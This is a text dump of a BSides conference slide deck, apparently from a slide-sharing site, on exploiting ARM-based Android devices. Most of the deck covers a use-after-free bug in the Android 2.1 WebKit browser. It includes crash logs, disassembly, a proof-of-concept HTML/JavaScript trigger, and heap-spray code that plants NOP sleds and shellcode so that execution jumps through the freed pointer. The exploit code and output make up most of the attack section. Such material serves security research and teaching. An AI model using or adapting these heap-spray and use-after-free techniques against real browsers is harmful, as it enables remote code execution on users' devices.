Bsides

1. Breaking Arms MJ Keith GCIA, GCIH Alert Logic - Security Researcher

5. Doing something with it.

7. 15.0 billion - 2011

9. r15 = pc = eip = rip

11. 16 bit = 20 94

18. Tons of them out there

28. Stops random bugs from doing anything destructive.

29. Smashing Canaries for FAP 300 * 'A' = D/dalvikvm( 245): LinearAlloc 0x0 used 639564 of 5242880 (12%) F/unknown ( 223): stack corruption detected: aborted D/Zygote ( 30): Process 223 terminated by signal (6) 600 * 'A' = I/DEBUG ( 28): Build fingerprint: 'generic/sdk/generic/:2.1-........... I/DEBUG ( 28): pid: 264, tid: 278 >>> com.android.browser <<< I/DEBUG ( 28): signal 11 (SIGSEGV), fault addr 41414179 I/DEBUG ( 28): r0 41414141 r1 00000354 r2 ad080c00 r3 456f2f00 I/DEBUG ( 28): r4 ad07ff50 r5 003490a0 r6 003490a0 r7 00000004 I/DEBUG ( 28): r8 456f2d80 r9 4270bda8 10 4270bd90 fp 003488c0 I/DEBUG ( 28): ip ad080090 sp 456f2c90 lr ad040a0d pc ad037d4a cpsr 20000030

31. The heap is unprotected and executable 00008000-00009000 r-xp 00000000 1f:00 400 /system/bin/app_process 00009000-0000a000 rwxp 00001000 1f:00 400 /system/bin/app_process 0000a000-006f2000 rwxp 0000a000 00:00 0 [heap] 10000000-10001000 ---p 10000000 00:00 0 10001000-10100000 rwxp 10001000 00:00 0

36. Dalvik JVM

39. About 5 are exploitable

49. 0x0000a000 0x00650000 0x00385100 var elem1 = doc.getElementsByTagName("textarea") var elem2 = doc.getElementById("target") <body > <textarea id=”target” rows=20>blah</textarea> <body> We make references to the element in 2 different ways

50. 0x0000a000 0x00650000 0x00385100 var elem1 = doc.getElementsByTagName("textarea") var elem2 = doc.getElementById("target") elem2.parentNode.removeChild(target); <body > <textarea id=”target” rows=20>blah</textarea> <body> We remove the element using our second reference. This essentially unlocks the memory that both variables are referencing. The elem1 var retains its pointer to the deallocated spot in memory

51. 0x0000a000 0x00650000 var elem1 = doc.getElementsByTagName("textarea") elem2.parentNode.removeChild(target); <body > <body> We are left with a pointer to memory that is deallocated. We can now reallocate this memory

52. 0x0000a000 0x00650000 var elem1 = doc.getElementsByTagName("textarea") elem2.parentNode.removeChild(target); for (var i = 0; i < 10000; i++) { var s = new String("LALA"); } <body > <body> Using a for loop we can create the same small string over and over until we collect garbage and refill the memory with our new data

53. 0x0000a000 0x00650000 var elem1 = doc.getElementsByTagName("textarea") elem2.parentNode.removeChild(target); for (var i = 0; i < 10000; i++) { var s = new String("LALA"); } elem1.innerHtml <body > <body> We can now request data from our original variable. LALA LALA LALA LALA LALA LALA LALA LALA LALA LALA LALA LALA LALA LALA LALA LALA LALA LALA

54. <html> <head> <script> function test() { var elem = document.getElementById("t"); // reference to textarea tag var nodes = document.getElementById("t").getAttributeNode('rows').childNodes; // reference to the child nodes of the rows under the textarea tag document.body.removeChild(elem); // remove element elem.getAttributeNode('rows').removeChild(nodes[0]); // remove child nodes setTimeout( function() { for (var i = 0; i < 10000; i++) {var s = new String("abc"); }; // call heap garbage collector nodes[0].textContent }, 0); // ask for text contained in object that no longer exists } </script> </head> <body onload=test()> <textarea id=t rows=20>textarea</textarea>  </body> </html>

55. Where to start I/DEBUG ( 28): Build fingerprint: 'generic/sdk/generic/:2.1-update1/ECLAIR/359...' I/DEBUG ( 28): pid: 332, tid: 344 >>> com.android.browser <<< I/DEBUG ( 28): signal 11 (SIGSEGV), fault addr 0000001a I/DEBUG ( 28): r0 0011ee20 r1 0011ee20 r2 0000001b r3 1fda60b5 I/DEBUG ( 28): r4 0011ee20 r5 45a03048 r6 42750080 r7 453f23c8 I/DEBUG ( 28): r8 453f2d88 r9 42705f1c 10 42705f04 fp 002ee0c8 I/DEBUG ( 28): ip aa413808 sp 453f2140 lr aa04a581 pc 0000001a cpsr 00000030 I/DEBUG ( 28): #00 pc 0000001a I/DEBUG ( 28): #01 pc 0004a57e /system/lib/libwebcore.so I/DEBUG ( 28): #02 pc 001ae354 /system/lib/libwebcore.so I/DEBUG ( 28): #03 pc 0000c0de /system/lib/libwebcore.so

56. Whats happening before we crash 4a574: 6038 str r0, [r7, #0] 4a576: e077 b.n 4a668 <JNI_OnLoad+0x3e890> 4a578: 6820 ldr r0, [r4, #0] 4a57a: 6d42 ldr r2, [r0, #84] 4a57c: 1c20 adds r0, r4, #0 4a57e: 4790 blx r2 4a580: 3801 subs r0, #1 4a582: 280b cmp r0, #11 4a584: d866 bhi.n 4a654 <JNI_OnLoad+0x3e87c> 4a586: 4b3b ldr r3, [pc, #236] (4a674<JNI_OnLoad) 4a588: 9a01 ldr r2, [sp, #4] 4a58a: 0080 lsls r0, r0, #2

58. Unescape gives us better control of string values

59. I/DEBUG ( 28): pid: 437, tid: 449 >>> com.android.browser <<< I/DEBUG ( 28): signal 11 (SIGSEGV), fault addr 41414195 I/DEBUG ( 28): r0 41414141 r1 001427a8 r2 00000031 r3 2d31e05b I/DEBUG ( 28): r4 001427a8 r5 45a03048 r6 42750080 r7 454f23c8 I/DEBUG ( 28): r8 454f2d88 r9 42708f1c 10 42708f04 fp 002f0448 I/DEBUG ( 28): ip 003b3788 sp 454f2140 lr aa0482ab pc aa04a57a cpsr 60000030 I/DEBUG ( 28): #00 pc 0004a57a /system/lib/libwebcore.so I/DEBUG ( 28): #01 pc 001ae354 /system/lib/libwebcore.so Crash = 2 instructions earlier

60. We are controlling r0 4a574: 6038 str r0, [r7, #0] 4a576: e077 b.n 4a668 <JNI_OnLoad+0x3e890> 4a578: 6820 ldr r0, [r4, #0] 4a57a: 6d42 ldr r2, [r0, #84] 4a57c: 1c20 adds r0, r4, #0 4a57e: 4790 blx r2 4a580: 3801 subs r0, #1 4a582: 280b cmp r0, #11 4a584: d866 bhi.n 4a654 <JNI_OnLoad+0x3e87c> 4a586: 4b3b ldr r3, [pc, #236] (4a674<JNI_OnLoad) 4a588: 9a01 ldr r2, [sp, #4] 4a58a: 0080 lsls r0, r0, #2

61. What does that mean 4a57a: 6d42 ldr r2, [r0, #84] = goto address in r0 + 84 , put in r2 4a57c: 1c20 adds r0, r4, #0 4a57e: 4790 blx r2 = goto address in r2 and start executing

64. Controlling the Heap 0x0000a000 0x00640000 The heap will place data in the next available spot that is big enough. We can use this to control the end of the heap

65. The Goal 0x0000a000 0x00640000 We use the loop below to populate our “use after free” for (var i = 0; i < 70000; i++) {var s = new String(unescape("00580058")); }; T

66. The Goal 0x0000a000 0x00640000 We use the loop below to populate our “use after free” for (var i = 0; i < 70000; i++) {var s = new String(unescape("00580058")); }; = 0x00580058 T

67. The Goal 0x0000a000 0x00640000 var scode = unescape("00600060"); var scode2 = unescape("5005e1a0"); do { scode += scode; scode2 += scode2; } while (scode.length<=0x1000); scode2 += shell target = new Array(); for(i = 0; i < 300; i++){ if (i<130){ target[i] = scode;} if (i>130){ target[i] = scode2;} document.write(target[i]); document.write("<br />"); if (i>250){ = 0x00580058 T

68. The Goal 0x0000a000 0x00640000 Scode = 0x00600060 len = 0x1000 We write this value to the page 130 times = 0x00580058 = 0x00600060 0x00580058 T 00600060 00600060 00600060 00600060

69. The Goal 0x0000a000 0x00640000 Scode2 = 0xe1a05005 len = 0x1000 + shellcode We write this value to the page 120 times = 0x00580058 = 0x00600060 0x00580058 = 0xe1a05005 + shellcode 0x00600060 T 00600060 00600060 00600060 00600060 Nop + shell Nop + shell Nop + shell Nop + shell

70. The Goal 0x0000a000 0x00640000 1. We access our “use after free” address 2. That address sends us to 0x00580058 The value at 0x00580058 is 0x00600060 This is loaded into r2 3. pc goes to the address in r2 and starts execution = 0x00580058 = 0x00600060 = 0xe1a05005 + shellcode 0x00600060 nodes[0].textContent = 0xe1a05005 + shellcode T 00600060 00600060 00600060 00600060 Nop + shell Nop + shell Nop + shell Nop + shell

71. demo

72. Thanks [email_address]

Bsides

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to Bsides

Similar to Bsides (20)

Recently uploaded

Recently uploaded (20)

Bsides